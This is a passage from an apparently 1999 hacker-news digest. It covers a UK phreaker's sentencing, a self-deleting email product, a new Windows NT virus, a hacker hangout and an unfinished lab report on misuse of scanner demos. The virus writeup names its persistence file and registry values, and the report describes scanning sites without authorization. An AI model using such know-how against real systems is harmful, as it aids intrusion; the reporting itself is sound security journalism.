but on that occasion the attempts got no further than
"door-rattling". The attack on 4 January posed a
greater threat, he said, "the City of London Police are
taking this seriously".
"A lot of the companies targeted are now forewarned,"
he added. "But some of them felt that the attempt on
18 June was pretty ineffective. The danger is they
could be too complacent".
@HWA
14.0 UK Phreaker Sentenced
~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Lady Sharrow, no0ne, and Monkey
100 hours community service and 2 years probation was
the penalty imposed upon phreaker Paul Spiby. The UK
citizen who rung up £106,000 (or 64 days) worth of free
phone time by using a phone link to Nicaragua was
commended by the judge for his "technical skills". (Just
who the hell do you talk to for that amount of time?)
The UK Telegraph
http://www.telegraph.co.uk/et?ac=001576828917683&rtmo=qu99KMx9&atmo=99999999&pg=/et/99/10/9/nbul09.html
The UK Register
http://www.theregister.co.uk/991011-000008.html
BBC
http://news.bbc.co.uk/hi/english/uk/newsid_469000/469248.stm
UK Telegraph;
Telephone hacker in court
A TEENAGER who discovered how to use a laptop computer to avoid
telephone charges illegally made £106,000 worth of calls around the world.
Paul Spiby, now aged 20, of Cosby, Leicester, used computer-generated
tones transmitted down an 0800 line to Nicaragua to fool the overseas
exchange into believing he had finished the call. Instead, he was able to keep
the line open and dial any number he wanted, Southwark Crown Court was
told.
For technical reasons he could be charged only with extracting electricity
worth a few pence. He was sentenced to 100 hours of community service
combined with two years' probation. His equipment was confiscated.
UK Register;
Posted 11/10/99 11:56am by Sean Fleming
Phreaker with £100k phone bill avoids jail
UK phone phreaker Paul Spiby was handed down a sentence of 100 hours
community service and two years' probation by a judge at Southwark Crown Court last
Friday.
Spiby was caught after he used a phone link to Nicaragua to run up £106,000 worth of
free phone time over a 64-day period two years ago.
He was facing 14 sample charges of extracting electricity.
He was told by Judge George Bathurst-Norman that he narrowly escaped a prison
sentence, according to a report in The Guardian. The judge went on to commend
Spiby on his technical skills and advised him to stay on the right side of the law in
future.
Now aged 20, Spiby is planning to go to university. ®
BBC;
UK
Phone hacker dials £106,000
bill
A 20-year-old telephone hacker has escaped jail after
using his computer skills to run up an illegal £106,000
phone bill.
Paul Spiby was aged just 18 when he discovered he
could ring round the world using just an ordinary laptop
and considerable amounts of telephone trickery,
Southwark Crown Court heard.
Some of the calls he made lasted nearly six hours and
during the six months his crimes went undetected, they
amounted to a staggering 64 days on the phone.
Judge George Bathurst-Norman told Spiby of Ginson
Avenue, Cosby, Leicester, that he was an "absolute
menace" and had only just escaped jail.
Working from his bedroom, the teenager used a series of
computer-generated tones, transmitted down a line to
Nicaragua, to fool the Overseas Exchange into thinking
he had ended his call.
Instead, he was able to keep the line open, dial any
number he wanted without paying a penny, and join a
select group of hackers called "Phreakers".
However, despite the six-figure loss to British Telecom -
deemed unrecoverable - technical reasons meant he
could be charged only with extracting electricity worth a
few pence.
Evidence destroyed
Prosecuting, Tudor Owen said Spiby, who admitted 14
sample Theft Act counts of extracting electricity,
possessed an "extremely detailed knowledge of
computers".
The barrister said the scam relied on the fact that not all
overseas telephone networks were as advanced as
Britain's, and meant the abuse was impossible to
prevent, and difficult to detect.
British Telecom finally realised something was amiss
when it discovered that an abnormal number of phone
calls, lasting hours, were being made from the telephone
registered in the name of the teenager's father.
When police, armed with a search warrant called at his
home, Spiby pretended no-one was in so he could
"destroy incriminating evidence".
Passing sentence, Judge Bathurst-Norman said: "In the
circumstances I have just come to the conclusion that it
would be wrong to say you should go to prison."
Instead Spiby received a 100-hour community service
order, combined with two years' probation.
The judge, who also ordered Spiby's equipment to be
confiscated, added: "You are clearly a very able young
man ... now stay out of trouble."
@HWA
15.0 Disappearing Email? We Doubt It.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by augie01
There has been a lot of hype about a new product by
Disappearing Inc. that claims to be able to delete email
on a reciever's system after it has been sent.
Unfortunately the product is not shipping yet so all we
have to go on is the company's word and its press
releases. Disappearing Inc. is making some pretty bold
claims as to what this new product will be able to do.
So bold that we have trouble believing them. We will
take the wait and see attitude.
ABC
http://abcnews.go.com/sections/tech/CuttingEdge/email991008.html
Disappearing Inc. - Press Release
http://www.disappearing.com/press_release3.thtml
Disappearing Inc. - FAQ
http://www.disappearing.com/faq3.thtml
ABC;
No-Trail E-Mail
This Message Will Self-Destruct In...
Usually, any e-mail sent or received is
stored someplace, even after you have
deleted it. ABCNEWS Jack Smith reports
that a new generation of self-encoding,
self-destructing, e-mail programs may
soon increase electronic security.
(ABCNEWS)
RealVideo
javascript:PopoffWindow('/sections/tech/popoff/emailvideo991009_popoff/index.html', 'Horizontal')
By Giselle Smith
ABCNEWS.com
Oct. 8 It wont burn up and smoke like the tapes on the old
Mission Impossible TV show. But soon e-mail may vanish
just as completely. Thanks to San Francisco-based startup
Disappearing Inc., senders of electronic mail will be able to
attach an expire-by date to their messages.
Available to corporate clients starting in January, the
companys as yet-unnamed plug-in will work with any
existing mail system. The application also will work with a
variety of encryption systems, including Blowfish and
RSA, according to Rod Lehman, vice president of
marketing for Disappearing. Priced at $3 to $5 per user
per month for corporate customers, it wont be available
for home use until next summer.
Disappearing e-mail will make electronic
communication more popular, predicts Kerry C.
Stackpole, president and CEO of the Electronic
Messaging Association, a trade group. Being able to do
that on a secure basis in a consistent fashion with ease is
going to just encourage people to use the Internet more.
How it Works
Once youve loaded the plug-in, it creates a menu item
called DI sending options. When you send an e-mail
message, you can choose the length of time you want the
message to exist five minutes, a week, a month or
forever. Then hit send.
Every time you go to send a message with
Disappearing Inc., we assign it a unique key and encrypt
it, Lehman says.
Disappearing e-mail will work whether the e-mail
recipient has the plug-in or not. When the recipient gets
the e-mail, the message will appear as an encrypted
attachment. When its opened, the recipients e-mail client
picks up the key from the senders system.
The sent message will be available in the recipients
inbox for the specified length of time unless the sender
deletes it. If the sender thinks better of the message before
its read by the addressee, it can be deleted and the
recipient will get a message saying the message has been
deleted. Once the key is deleted by the sender, the
message reverts to its encrypted form and cant be
retrieved on either computer system.
Of course, even Disappearing Inc. cant protect you
absolutely. If you send harassing or incriminating
messages, the receiver could, print or save a screen shot
of the message before its deleted. But if both parties
agree that e-mail correspondence is private then, once
deleted, it will be almost impossible for anyone to recover
messages.
Thus the primary use of disappearing e-mail is likely to
be between people who agree to keep their
correspondence private.
For the Company or the Employee?
Finding a way to send and receive secure e-mail is an
ongoing challenge. Even after youve deleted private or
offending e-mail sent with conventional systems, it can
usually be retrieved by high-tech sleuths.
Deleted-but-retrieved messages have come back to haunt
many people, as Microsoft executives well know from the
companys antitrust trial.
So far, the level of interest in security and privacy has
been greater than the success of most of the companies
tackling the problem, says Kevin Werbach, managing
editor of high-tech newsletter Release 1.0. Though
encryption technology can create secure systems, this is
the first use of existing technologies to create private
e-mail on demand, Werbach says.
At $3 to $5 per user, a company of, say, 150
employees could end up spending almost $10,000 a year
on a service that may protect employees privacy more
than that of the company at large. Companies with 1,000
employees would be looking at $36,000 to $60,000 a
sizable fraction of many companies information-systems
budgets.
I think theres a demand for this, Werbach says.
The question is whether companies recognize the value of
it.
Founded in November by brothers Maclen and Dave
Marvit, Disappearing Inc. is a private company funded by
venture capital from sources such as Ben Rosen, chairman
of Compaq Computers, and Red Rock Investments, the
investing arm of Ernst and Young. Maclen Marvit is CEO;
Dave Marvit is director of product management.
The Associated Press contributed to this report.
-=-
Contacts: Jeff Ubois
Disappearing Inc.
jeff@disappearing.com
415 365 6170
FOR IMMEDIATE RELEASE
Debbie Morton
Antenna Group, Inc.
debbiem@antennapr.com
415 977 1935
Disappearing Inc. Makes Old Email Vanish Everywhere
Reduces Corporate Liability as well as Improves Corporate
Productivity by Enabling Sensitive Communications via Email
San Francisco (October 4, 1999) Disappearing Inc. today announced
technology that works with any email system to encrypt, authenticate, track
and delete messages, including those stored on back-up tapes or forwarded
to third parties. By eliminating the permanent record of casual
conversations, Disappearing Inc. is making email safe for business.
Unprotected email is like a postcard the wrong people can read it, there is
no proof of delivery, and it stays around forever, said Maclen Marvit, CEO
of Disappearing Inc. Our email policy management system protects
messages while they are in use, and then makes them expire whenever the
company chooses.
Manages the Entire Lifecycle
We want to enable people inside our company to freely engage in secure
email conversations, and to control and track the use of the messages they
send, said John Jendricks, CIO of Juniper Networks (NASDAQ: JNPR). To
make that possible, we need tools such as those from Disappearing Inc. that
manage and secure email throughout its entire lifecycle.
Unfortunately, most other companies are routinely transmitting sensitive
information via email without adequately understanding the risks.
According to one study, by the year 2000, an estimated 80 percent of
companies without a comprehensive information management life cycle will
experience legal repercussions.
Disappearing Inc. Makes Old Email Vanish Everywhere (2)
We have been following the issue of email retention and associated
liabilities for several years, said David Ferris, president of Ferris Research
(www.ferris.com), a San Francisco-based consultancy specializing in
messaging, directories and collaboration. Disappearing Inc. solves a
number of problems that have been expensive and intractable.
Lets Companies Universally DeleteÔ Messages
The Disappearing Inc. email policy management system encrypts each
message with a unique key to prevent unauthorized access. Receivers then
authenticate themselves in one of several ways before viewing a message.
There is a record of all access, and when a particular key is destroyed, the
associated message then becomes unreadable.
When a message is deleted, all copies including those stored on back-up
tapes or forwarded to third parties become unreadable. This eliminates the
devastating liability created by casual comments archived permanently in
email.
With the Disappearing Inc. system, companies can specify and consistently
enforce policies that govern how long they want to retain different types of
messages. For example, a public company might require that all messages
related to SEC compliance be archived permanently but that everything else
is deleted after a period of ninety days.
Supports E-commerce Initiatives
In addition to enabling internal email policies, Disappearing Inc. supports
online sales and service applications. For example, an Internet retailer might
use the Disappearing Inc. system to send order confirmations and bills via
email. Or, a financial services company might use the system to respond to
customer questions where the answer contains sensitive information.
By the year 2002, more than 60 percent of companies adopting e-commerce
will use Internet management and security tools like Disappearing Inc.,
according to recent market research reports. This eliminates the need to use
more time consuming media such as the phone and certified mail. The result
is increased responsiveness and customer satisfaction.
Disappearing Inc. Makes Old Email Vanish Everywhere (3)
Integrates with Any Existing Mail System
The solution works regardless of what email client the sender and receiver of
a message is using including but not limited to Web Mail, Microsoft
Outlook, Netscape Mail and Eudora. Unlike other offerings, the
Disappearing Inc. system requires no changes to the way users read, write
or file their messages. This eliminates any need for employee retraining.
IT management will also be happy that there is no required change to their
existing infrastructure. The Disappearing Inc. system operates transparently
with security technologies like Public Key Infrastructure and automated
email response management systems from vendors like eGain and Kana.
About the Company
Disappearing Inc. is a privately held company whose solutions are making
email safe for business. Since incorporating in February 1999, the company
has received investments from Angel Investors LLP; Compaq Computers
chairman Ben Rosen; and Red Rock Ventures (www.redrockventures.com).
One of the major limited partners of Red Rock is Ernst & Young LLP. For
more information, please contact Disappearing Inc. at 1-415-896-5000; or via
email at info@disappearing.com; or via the World Wide Web at
www.disappearing.com.
# # # #
The Disappearing Inc. logo, Making Email Safe for Business, and
Universally Delete are trademarks of Disappearing Inc. All other
trademarks mentioned herein are the property of their respective owners.
-=-
Disappearing Inc.
FAQ
1. What is DIs primary business?
Disappearing Inc. is making email safe for business. By controlling
messages across their entire lifecycle Disappearing Inc. makes it safe for
businesses to communicate with their partners and customers.
2. How does Disappearing Inc. make email safe?
Encryption: All email messages are encrypted before they are sent to
make sure that they can not be intercepted and read.
Authentication: To make sure to make sure that the sender and the
recipient are really who they say they are, a user identification code
and password may be required.
Tracking: A complete audit trail is maintained for each message,
indicating who has received the message and when they first read it.
Retrieval: Using the email client of their choice and the plug-in from
Disappearing Inc., users can decrypt and view any message that
they are authorized to access.
Deletion: Finally, at the end of the message lifecycle, Disappearing
Inc. Universally Deletes the message from the local PC, the mail
server, and backup tapes so that nobody can ever read it again.
3. Why cant we use regular old email to communicate with our businesses
partners and customers?
The speed, convenience, and low cost of email make it a great medium. But
regular unprotected email can create serious problems.
Email is public like a postcard. As unprotected email moves through
the network from sender to recipient it is easy for unauthorized
people to read it along the way. There is a concern when sensitive
customer or financial data are transmitted.
The wrong people can read it. With unprotected email, even if the
message gets through the network without being compromised, you
cant be sure who is reading it at the other end. And the reader cant
be sure who really sent it.
The sender never knows who read it or when. With unprotected
email, there is no feedback about who read your message and when.
Although some systems do offer return receipt, these dont work
between different email systems.
Email is forever. Once an unprotected email message is sent it can
not be erased. Copies linger on backup tapes, offline machines,
recipients machines, as forwarded messages and so on. As such,
email discovery has become a standard part of most corporate
litigation.
4. Do I need to change my current email infrastructure?
No change to the current email infrastructure is required. Messages written
with Disappearing Inc.s system flow through a companys existing email
servers. And, users can continue to use their current email clients such as
Web Mail, Microsoft Outlook, Netscape Mail and Eudora.
5. Do my users need to change their behavior or learn anything new?
No. There is no change in the way users read, write, or file their
email. No training or education is required.
6. How does Disappearing Inc. work with existing security solutions?
Disappearing Inc. operates seamlessly with the leading existing security
solutions. In addition, Disappearing Inc. offers an alternative security
solution for dealing with people who have not registered with a certificate
authority.
7. What makes DI different?
We have a fundamentally different philosophy about security. Most
players in the security space have adopted a similar business model,
making sure that only certain people get access to sensitive
information. Disappearing Inc. focuses on protecting the sender and
receiver of the information by managing its entire lifecycle. At the
end of the lifecycle, we use policy rules to decide what information
gets archived and then Universally Delete the rest.
We manage every document separately: There are a number of email
security solutions on the market. Most focus on authenticating an
individual and then granting them access to all of their documents.
With Disappearing Inc.s email policy management system,
companies can not only authenticate users but also track and delete
individual documents.
Cross platform tracking: Other tracking systems dont work across
different platforms. For example, if someone using Microsoft Outlook
wants to track a message sent to someone using Netscape Mail,
most tracking software do not work. With Disappearing Inc., tracking
works across platforms, eliminating any concern about what type of
email package the sender or recipient is using.
Everyone can read our messages: When other email security
systems are used the sender needs to know what kind of client the
recipient has. With Disappearing Inc. the sender can send messages
to anyone with confidence. If the recipient does not use an email
client supported by Disappearing Inc., then the message will appear
as an attachment that they can open from within the WWW browser
of their choice.
8. When will DI be available? Who are the initial customers?
Disappearing Inc.s email policy management system is in pre-release now.
The initial customers include high-technology, financial services, and
telecommunications companies.
9. How do I contact Disappearing Inc.?
Please send questions or comments to: info@disappearing.com or send
postal mail to:
Disappearing Inc.
301 Howard St., Suite 1800
San Francisco, CA 94105
@HWA
16.0 New Virus Found in Russia
~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by no0ne
A new NT specific virus has been discovered in the wild
by researchers in Russia. WintNT.Infis is memory
resident, acts like a system driver, and is able to infect
files running in NT4 with service packs 2 thru 6.
Windows 2000 is supposedly immune.
The UK Register
http://www.theregister.co.uk/991008-000014.html
Computer World
http://www.computerworld.com/home/news.nsf/all/9910085ntvirus
InfoWorld
http://www.infoworld.com/cgi-bin/displayStory.pl?99108.enntvirus.htm
Kaspersky Lab - Discoverers of the Virus
http://www.kasperskylab.ru/eng/news/press/991007.html
UK Register;
Posted 08/10/99 2:31pm by Sean Fleming
NT security busted by new virus threat
Worried systems managers are facing what is thought to be the first virus to integrate
with NT's security protocols.
Found in the wild, it is called WinNT.Infis and acts as a system driver. It resides in the
memory and will infect files in systems running NT4 with the following services packs
2, 3, 4, 5, and 6.
Although not particularly destructive, WinNT.Infis will corrupt programs and invokes a
series of NT application error messages.
MSPAINT.EXE, CALC.EXE, and CDPLAYER.EXE are all likely to be rendered
inoperable by the virus which will install the file INF.SYS in the
/WinNT/System32/Drivers folder.
The virus was spotted by two anti-virus companies Kaspersky Lab and Central
Control. A fix for the virus is available by clicking here. ®
ComputerWorld;
Online News, 10/08/99 04:15 PM)
NT-specific virus crops up in
Russia
By Kathleen Ohlson
A virus specific to the Windows NT operating system
has been found "in the wild" for the first time, appearing
outside of research laboratories, according to Central
Command Inc. and Kaspersky Lab.
The virus -- WinNT.Infis -- was discovered yesterday in
Russia, said Keith Peer, president of Central
Command. It infected a customer's system, causing
some applications to be unusable, Peer said. There
have been no further reports of infection, but the
organizations will watch the situation, he said.
WinNT.Infis acts as a Windows NT system driver, he
said, bypassing some internal security safeguards and
affecting a computer's memory.
Central Command describes WinNT.Infis as a
"file-infecting, memory-resident virus" that works under
Windows NT 4.0 with Service Packs 2, 3, 4, 5 and 6
installed. It doesn't infect systems running Windows 95,
98 and 2000, or other NT versions.
Peer said WinNT.Infis doesn't contain any destructive
payload, but may cause some executables not to run.
The virus code also contains errors that may corrupt
programs when infecting them.
One sign of infection is that applications such as
MSPAINT.EXE, CALC.EXE AND CDPLAYER.EXE
don't operate.
Users are advised to install their antivirus software and
keep it updated.
InfoWorld;
New Windows NT virus discovered in the wild
By Terho Uimonen
InfoWorld Electric
Posted at 9:44 AM PT, Oct 8, 1999 Two anti-virus companies on Thursday
jointly announced a new software virus that infects computers running
certain versions of Microsoft's Windows NT operating system.
Named WinNT.Infis, the virus is the first one "found in the wild," outside
of labs, that is capable of making its way into the highest security level
of the operating system, Central Command and Kaspersky Lab officials said
in a statement issued Thursday. Windows NT is Microsoft's high-end
operating system, designed mainly for use in servers and workstations.
The WinNT.Infis virus acts as a Windows NT system driver, and is very
difficult to detect and remove from an infected computer's memory, the
statement said. It is a file-infecting, memory-resident virus that
operates under Windows NT 4.0 with Service Packs 2, 3, 4, 5, 6
installed.
WinNT.Infis does not infect systems running other versions of NT, Windows
95/98, or the forthcoming Windows 2000, the companies officials said.
Kaspersky Lab has offices in Moscow, Russia, and Dublin, Ireland. Central
Command is located in Medina, Ohio. Detection and removal capabilities for
the WinNT.Infis virus has been added to Central Command's AntiViral
Toolkit Pro anti-virus database that can be found at www.avp.com.
Terho Uimonen is a Scandinavian correspondent for the IDG News Service, an
InfoWorld affiliate.
Kaspersky;
7 October, 1999
A Virus Attack on Windows NT
Kaspersky Lab discovered a new computer virus integrated it the
highest security level of Windows NT
Moscow, Russia, October 7, 1999 - Kaspersky Lab, a world
leader in anti-virus software technologies announces the discovery
of the world's first computer virus, that integrates in the highest
security level of Windows NT operating system. This is a first virus
that acts as a Windows NT system driver. It makes very difficult to
detect and remove the virus from computer memory.
WinNT.Infis virus has been found "in-the-wild" on October, 7 by
Kaspersky Lab's anti-virus experts. They have received it from
Stanislav Bratanov, Software Technologies Laboratory (Nizhny
Novgorod, Russia).
General Characteristics
"Infis" is a file memory resident virus operating under Windows
NT 4.0 with Service Packs 2, 3, 4, 5, 6 installed. It does not affect
systems running Windows 95/98, Windows 2000 or other versions
of Windows NT.
Infection indication
The main infection indicator is impossibility to run some
programs. For example, MSPAINT.EXE, CALC.EXE, CDPLAYER.EXE
etc. Because of errors the virus corrupts some file when infecting
them.
Another indicator of virus presence is INF.SYS file in
/WinNT/System32/Drivers folder.
Installation
Upon running of an infected file the virus copies its body to
INF.SYS file in Windows NT drivers folder
WinNT\System32\Drivers. Then it creates a key with three
sections in Windows system registry:
\Registry\Machine\System\CurrentControlSet\Services\inf
Type = 1
- standard Windows NT driver
Start = 2
- driver start mode
ErrorControl = 1
- continue system loading on error in driver
As a result the virus in INF.SYS file is activated every time the
operating system starts. When INF.SYS file is activated the virus
launches a subroutine for infecting Windows NT memory. When
the virus completes its installation in the memory it takes control
over Windows NT internal undocumented functions. The virus
intercepts file opening, check file's names and their internal
format and then calls the infection subroutine.
Infection
The "Infis" virus infects only PE (Portable Executable) EXE-files
except CMD.EXE (Windows NT command processor). When
infecting it increases the file length with the length of its "pure
code" - 4608 bytes. The virus avoids repeated file infection. It
recognizes already infected files by "date and time" stamp,
prevously changed to -1 (FFFFFFFFh) value.
Payload
The "Infis" does not carry any destructive payload. However, it
contains errors that corrupt some files when infecting them. When
the corrupted file is run it invokes a standard Windows NT
application error message:
Detection and removal routines for WinNT.Infis virus were added
in the emergency update of AntiViral Toolkit Pro (AVP) anti-virus
database. It is available at Kasperky Lab's WWW site at
www.kasperskylab.ru/eng/products/download.html.
For a complete information on WinNT.Infis and thousands of other
viruses and malicious code, please visit Kaspersky Lab's Virus
Encyclopedia at http://www.viruslist.com.
@HWA
17.0 New Hack City
~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Bronc Members of the mysterious hacker lair, New Hack City, have
granted an exclusive interview to Bronc Buster. He describes it as 'one of the
last few strongholds of the original hack ideals.'
The Synthesis http://www.thesynthesis.com/tech/newhackcity/index.html
(Follow link for some killer photos of this cool hangout)
After our long trip, we were finally there. We had driven for over three
hours, gotten lost in downtown San Francisco, and couldnt recognize one
warehouse from another that we were passing by. Finally, from the
backseat, Macki tells me to make a U-turn and pull over. We are sitting out
in front of one in a long line of identical warehouses. I look over and see
the brick and concrete building: metal grates on the windows, huge,
foreboding metal doors. Macki calls upstairs on Rsnakes cell phone, tells
the voice on the other end that were here, and then asks which door to
enter through. We wind up a large, old concrete stair case to another huge
set of metal doors on the second floor and step out into a very big, very
long, dimly lit hallway. Macki navigates the way through the maze of
hallways until we get to a huge blue medal sliding door, with a little
sticker on it that says New Hack City. I had been here before, but it had
been a long time, so it took me a second to acclimate myself. Flashing
multicolored lights, loud techno music, dim glows from the many computer
screens and a video game projected on the wall greeted us as we came in.
This was the place, the infamous hacker hang out, New Hack City. Many
people had heard of it, but fewer than one hundred people, besides members
and close friends, have been allowed within its doors in its two-year
history. Its the kind of place you see in movies, but think doesnt exist
in real life. A blend of multimedia, music and technology, put together by
some of the best known people in the computer underground.
New Hack, as the people who hang out there like to call it, was an idea
that started way back in 1995 on the opposite side of the country, in
Boston. It started with several friends wanting to find a place to
gather, where they could share their experience with each other, learn,
experiment, and most importantly pool their limited resources. In the early
days of the Internet, as we know it, computer equipment was expensive, and
dial-up access to it was hard to come by and was also expensive. It made
sense for this group of friends to get a house together, start their own
network and work off one dial-up account with all their pooled equipment.
Like many good computer and technology people back then, none of them had
computer-related jobs. FreqOut, one of the original members and a mentor in
the group, had worked at a grocery store and dropped out of college,
disappointed with the slow learning curve. Back then computer-related jobs
were hard to come by, so most people "worked out of their garage," as the
saying goes. The people at the soon-to-be New Hack City were no exceptions.
After 1994s HOPE, or Hackers On Planet Earth convention held in New York
City by 2600, some of the guys got motivated and had the idea to start a
place up that was more than a hobby roomsome place serious, where
they could have fun, but at the same time really experiment, and learn
about the inner workings of technology. They called it HELL. Similar to
their place now, they pooled all their resources and equipment and started
doing their own thing. Unfortunately, like its namesake, it burnt down when
the building next door caught fire and took their house up with it. HELL,
and everything they had there, went up in smoke.
Not to be deterred, some of them got a new place and started over. They
started working out of their dirt-floored basement, and soon made it
into a lab, building it all themselves (a fact FreqOut is very proud of).
They did everything, from making the shelves to pouring the concrete for
the circuit board-painted floor. Getting donated equipment from the friends
they had made in the community and the underground, they soon had another
network up and running. This is when the idea for the original New Hack
City was spawned. The new place happened to be located near another group
of their friends, who were also like-minded, and loved the idea of getting
a place where they could all gather, pool all their resources, learn from
each other, and become more of a driving force in the hacking community. So
five people, FreqOut, GarbageHeap, ChukE, Rosie, and Deth Veggie, start the
original New Hack City in Boston in 1995.
Soon a group formed around New Hack, and they started working with other,
now famous, hacking groups like the L0pht, 2600, and others. As time went
by, some of them started to break into the computer industry, and got
computer and technology related jobs. With these jobs came more money, and
as more money started to roll in, New Hack City started to get more and
more high tech equipment. Soon New Hack was no longer playing catch-up, but
was starting to near the cutting edge, and with their increased money flow,
they started to build more equipment, and take on bigger and bigger
projects. New Hack City was starting to get well known in the underground,
and among their peers, but a hacking spree by a local hacker, not
affiliated with New Hack City, brought the spotlight on their place, which
the newspapers started calling a "hacking house." As usual, the medias
spotlight was not a good one, and the scene started to turn foul as the
work hacker started to have a negative connotation.
During the summer of 1996, FreqOut flew to California to stop in for a job
interview on his way to DefCon 4 in Las Vegas, and to his surprise, he was
hired on the spot. Two weeks later, FreqOut, one of the crucial
members of New Hack City, moved to San Francisco to start work for one of
the biggest companies on the Internet. As fate should have it, at about the
same time, another New Hack City vet, Deth Veggie, also moved to the Bay
Area for a job. The migration had begun. The displaced New Hack City
members soon hooked up with another Bay Area-based hacking group called the
DOC, which is short for the Dis.Org Crew, and started to learn the ropes of
West Coast living. When word reached back east as to the good fortune of
their comrades out west, slowly, one by one, several members of what they
now call New Hack City East, started to come to the Bay Area. As more and
more of the group started to get together once again on the West Coast, the
original New Hack City back east started to fold.
At a barbecue in late 1996, a mutual friend introduced FreqOut to a person
who calls himself Reid Fleming, who happens to a member of another infamous
hacker group, the cDc, and they started talking. Reid and FreqOut hit
it off, and soon after started looking for a place where they could start
New Hack City West. Over the next year, they got a group of people together
that shared their ideas, motivations, and interests, and with the help of
some of the cDc they found a place for the new home of New Hack City. In
September of 1997, FreqOut, ChukE, Deth Veggie, Gweeds and Reid open the
new, New Hack City.
That was two years ago. Now New Hack is a central gathering place, where
people can separate their personal lives from their hacker persona. A place
where all sorts of technological gadgets reside, and where there are
more monitors than people. Inside their fortress of a building, they have
high speed Net access thanks to a T-1 line run into their server room,
which is then used to wire the rest of the rooms. They have several work
benches, one for electronics, which happened to have a working laser on it
when I was there, along with a ton of other tools needed for making and
fixing electronics. They have a workbench for computers, where they had
several working, and several soon-to-be cannibalized computers. In the back
they have a wood and metalworking workbench with Skil saws, a drill press,
a working arc welder and various other heavy tools. They have an isolated
server room also in the back where they keep their system of OpenBSD boxes
up 24/7, behind a firewall. If you think that is amazing, they also have a
working hot tub, a refrigerator, and projection system that projects
movies, games or whatever they run to it on a wall like a huge TV. They
have a multimedia DJ-like area, where they have all their lighting systems,
huge speaker system, fog pump and projectors with several computers hooked
into it. There is a large collection of movies, games, software and books
on various shelves around the room, as well as a lot of "things" hanging up
around the place that would be of interest to someone of the underground
mindset (let your imagination wander). Its no wonder their invite-only
parties attract some of the most well known people in the underground from
all across the country.
As Reid and FreqOut put it, they want New Hack City to be a place where
people are free to experiment and do whatever they want. They wanted it to
be a place where they could all pool their knowledge and resources,
and not be in a confined area, like someones house, or job, where their
freedom to experiment might be hindereda kind of hacker think-tank. They
also wanted it to be the focal point for the local hacking scene, so it
could be a strong influence in the local hacking community. An important
point everyone touched on while I talked to the guys at New Hack, is that
they wanted to make this place "media friendly." From time to time they
invite people from the media to come to New Hack City, and see firsthand
what hacking and the underground is really all about, without all the hype
and without all the cloak and dagger that the underground is sometimes
shielded in.
I would describe New Hack City as a cross between a rave party, with their
multimedia shows, lights and loud techno music, and a high-tech college
computer lab with a ton of high tech equipment, computers littering
the building and people who are really intent and motivated sitting behind
them. In short, as I said a while ago, its something you think would only
exist in a movie.
New Hack City also has close ties with other major hacking groups, which
helps it be such a driving force in the underground. Many members of New
Hack are also in the cDc, have been associated with the L0pht or
worked with 2600. Regular people that hang out include a few people from
the DOC, some people with 2600, and other notable groups. When I was there,
several cDc members were there that are also part of the New Hack crew;
like Tweety Fish, Deth Veggie and Sir Dystic (who wrote the original Back
Orifice tool). Thanks to the close ties with most of the major underground
and hacking groups on the Net, and with its good relationship with the
media, New Hack City has become a positive force for the hacking community
at large, while at the same time keeping its mysterious veil pulled down,
and keeping that dark aura about it.
Unfortunately no, chances are you cant go there on your next trip to the
Bay Area. Even though they have let outsiders in, like journalists,
friends, or important people who come to the Bay Area for a visit, it
is not open to everyone. Because of what goes on there is sometimes of a
questionable nature, and because of who the people are who hang out, and
work there, they require a level of privacy above the norm. This might
explain why the building where they chose to locate New Hack is more like a
fortress than a lab.
Even though you can't check out their place, you can take a look at what
they are about, and maybe even get the scoop on projects they are working
on by checking out their Web site at www.newhackcity.net. Most of the
current projects they are working on they keep secret, or within the group,
but others they like getting feedback on. One future plan that was talked
about was to put together some sort of free class. The goal would be to
help educate local media people, business owners and anyone who might be
misled or confused by the scare tactic stories they hear on the TV, or read
in the papers, about hackers and events relating to them.
Keeping true to their original goals, not only doing their own things like
they always have, but now starting to give back, and helping bring the
truth to light, has made New Hack City one of the last few strong
holds of the original hack ideals.
I need to thank the guys at NHC for taking the time to talk to me for
hours, for taking those wacky pictures, in and out of the freight elevator,
and for bringing us to that killer restaurant (no monks coming over for
me, thanks). Also a big thanks to Macki and RSnake for having the guts to
get up so early to drive down with me with me.
@HWA
18.0 Commercial Demos Used as Script Kiddie Tools
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Simple Nomad
The top commercial vulnerability scanners have little to
no security surrounding their licensing, making them
excellent script kiddie tools. These scanners are actively
being used by the underground against targets. All that
is required is a download of the demo version of a
vulnerability scanner from a commercial vendor, and a
little bit of time.
Nomad Mobile Research Laboratory
http://www.nmrc.org/lab/scanners.txt
_______________________________________________________________________________
Nomad Mobile Research Centre
L A B R E P O R T
"Crackers and Commercial Vulnerability Scanners"
or
"I'm a lame cracker and can't get BASS to compile, how
can I download a commercial vulnerability scanner and
start checking the entire Internet in 5 minutes?"
www.nmrc.org
Simple Nomad [thegnome@nmrc.org]
11Oct1999
_______________________________________________________________________________
Synopsis
--------
The top commercial vulnerability scanners have little to no security
surrounding their licensing, making them excellent script kiddie tools. These
scanners are actively being used by the underground against targets.
Tested configuration
--------------------
Testing was done with the following configuration :
Platform:
Microsoft NT 4.0 Server and Workstation with SP3 (no additional hotfixes)
Microsoft NT 4.0 Server and Workstation with SP5 (with Csrss, LSA-3, RAS,
WinHelp hotfixes)
Products:
Bindview's HackerShield Product Version 1.10.1106, Package Version 11
ISS' Internet Scanner Version 5.8.1
NAI's CyberCop Scanner Version 5.0
WebTrends' Security Analyzer v2.1b
How We Selected and Tested
--------------------------
First off, you ask how we chose our products, and why we didn't choose some
over others. Well, we have limited resources and time, so we chose to limit
testing to a few, and not all of the vulnerability scanners out there. We
chose only commercial products instead of freeware, since the freeware
products by nature offer no security features themselves. Arguably, our
"scientific" selection of products were limited, and mainly consisted of two
important questions -- "What is popular", which got ISS and NAI into the
picture, and "What is currently loaded we can play with" which landed us
Bindview and WebTrends products. They also had to have a demo version
available for download from their web site.
After we had started testing, Security Focus (http://www.securityfocus.com/)
ran a poll on the most popular network security scanners, and three of our
four choices made the top four. The fourth, NetSonar by Cisco, does not have
a downloadable demo version.
So what was the testing method? Download the eval, install it, and try to
start scanning sites we have no business performing a vulnerability scan
against, and do it within 5 minutes of installation.
We did not test the security of the product once it was installed. For
example, all of these products had access controls around the installation
